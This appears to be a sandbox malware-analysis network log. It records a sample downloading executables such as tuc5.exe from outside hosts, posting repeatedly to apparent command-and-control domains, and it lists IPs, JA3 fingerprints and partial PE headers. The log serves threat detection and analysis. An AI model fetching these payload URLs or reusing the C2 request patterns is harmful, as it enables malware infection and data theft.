Source: global traffic	TCP traffic: 192.168.2.4:49973 -> 116.12.180.234:9443

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.24.0Date: Tue, 19 Dec 2023 02:22:35 GMTContent-Type: application/octet-streamConnection: closeContent-Description: File TransferContent-Disposition: attachment; filename=49cd23f9.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 1c 88 e0 62 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 62 02 00 00 7a 44 00 00 00 00 00 94 30 00 00 00 10 00 00 00 80 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 46 00 00 04 00 00 ca 17 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 c3 02 00 78 00 00 00 00 e0 44 00 c8 de 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 81 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b9 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 80 02 00 9c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 60 02 00 00 10 00 00 00 62 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 1a 4d 00 00 00 80 02 00 00 4e 00 00 00 66 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e0 07 42 00 00 d0 02 00 00 1a 00 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c8 de 01 00 00 e0 44 00 00 e0 01 00 00 ce 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 19 Dec 2023 02:22:44 GMTContent-Type: application/octet-streamContent-Length: 6872767Connection: keep-aliveContent-Description: File TransferContent-Disposition: attachment; filename=tuc5.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=v9VWJeuihr7BiRLOCBN9zXISbFJzcPaVawlOiUpceqoXoKF97xa0lV87HmyGxAJ4SES6PnVNNF43dBO2dCav%2F4DnbCQ71WCkZGqVAlUsiOg2da%2BwLJL8rCgXRp1WP0l%2F7Ypa4OFq"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 837c2df45e335c69-MIAalt-svc: h3=":443"; ma=86400Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 74 fe 80 65 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 64 93 00 00 00 10 00 00 00 94 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7PELteF@@@@P,CODEd

Source: Joe Sandbox View	IP Address: 95.216.227.177 95.216.227.177
Source: Joe Sandbox View	IP Address: 198.50.191.95 198.50.191.95
Source: Joe Sandbox View	IP Address: 45.66.33.45 45.66.33.45

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 83d60721ecc423892660e275acc4dffd

Source: global traffic	HTTP traffic detected: GET /288c47bbc1871b439df19ff4df68f076.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: shpilliwilli.com
Source: global traffic	HTTP traffic detected: GET /39e5374d27c9d96fc9810d6b8d373df2/288c47bbc1871b439df19ff4df68f076.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: linkofstrumble.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wyjwjdolomfsle.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: sumagulituyo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ldqyfbygrhcss.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 308Host: snukerukeutit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uaojclncoprr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 277Host: lightseinsteniki.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ldjwcirsqyxk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 156Host: liuliuoumumy.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ohqyipqpkvia.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oyqbmnyfyopgmv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 224Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xurnxmrygmld.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 201Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://olucfngbava.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 289Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oucivhfdyyttyi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 302Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://johbipdvqleoi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 341Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: dayfarrichjwclik.fun
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tnejsseesmkhefto.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 146Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ndeephvgwuftj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 231Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uwrmuyhhkech.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 145Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://caybktamrnobu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 288Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ulubheoacaien.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 236Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wyvbjonlfjrvhqq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: dayfarrichjwclik.fun
Source: global traffic	HTTP traffic detected: GET /ftp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: ftpvoyager.cc
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iojpjripnlk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 144Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hmddntriufe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 330Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://imshthbtfbibps.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 320Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://auowhsaidjr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 360Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /order/tuc5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cream.hitsturbo.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kotuprbwtpd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 257Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://stualialuyastrelia.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 4431Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: neighborhoodfeelsa.fun
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: neighborhoodfeelsa.fun
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wnuiktwjhtbdv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hmeqhlrafplirlmd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://braklwanawvixjv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 125Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ablmomjugacg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 285Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oomegesffdli.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 221Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qnrfakshfaq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 161Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iiwjounqfbfe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 279Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mwlnxptgeko.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 164Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sqivsyojftpvkm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 114Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wpdletunxsuos.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 312Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qwgvuacschpov.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qrwcmunknkmno.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ixrdbnkquprvpl.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 353Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rilikeybrjdd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 225Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gcgwpodymbpj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fmndfpfviqnkks.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 227Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://okduhmafsysi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 307Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: diagramfiremonkeyowwa.fun
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=u0fleITzRZiQG4JOT0aDFO_oi_iP.ZojN44JuKD6cmg-1702952610-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 79Host: diagramfiremonkeyowwa.fun
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tkjmqomwibrbtd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 338Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ovfmonorcjjplwd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 302Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: diagramfiremonkeyowwa.fun
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=CKXa02fI4YJSNwHyHwGze3HUyGBV4G26bHxhSKZ01XM-1702952615-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 58Host: diagramfiremonkeyowwa.fun
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cxncgnbuejb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 308Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bawvhkppetyuj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://brsxbmchvhtip.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 201Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hmjgwgkklvyq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 234Host: humydrole.com
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tncipmtcbgkxasri.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 135Host: humydrole.com
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62dde24353e1d9a943e9d15038842974dbc1dbaf7a1439f538166429e289d5b86953e226c55f676647fc2813369d184da325a5086de04ff12cd HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1Host: bfaausp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
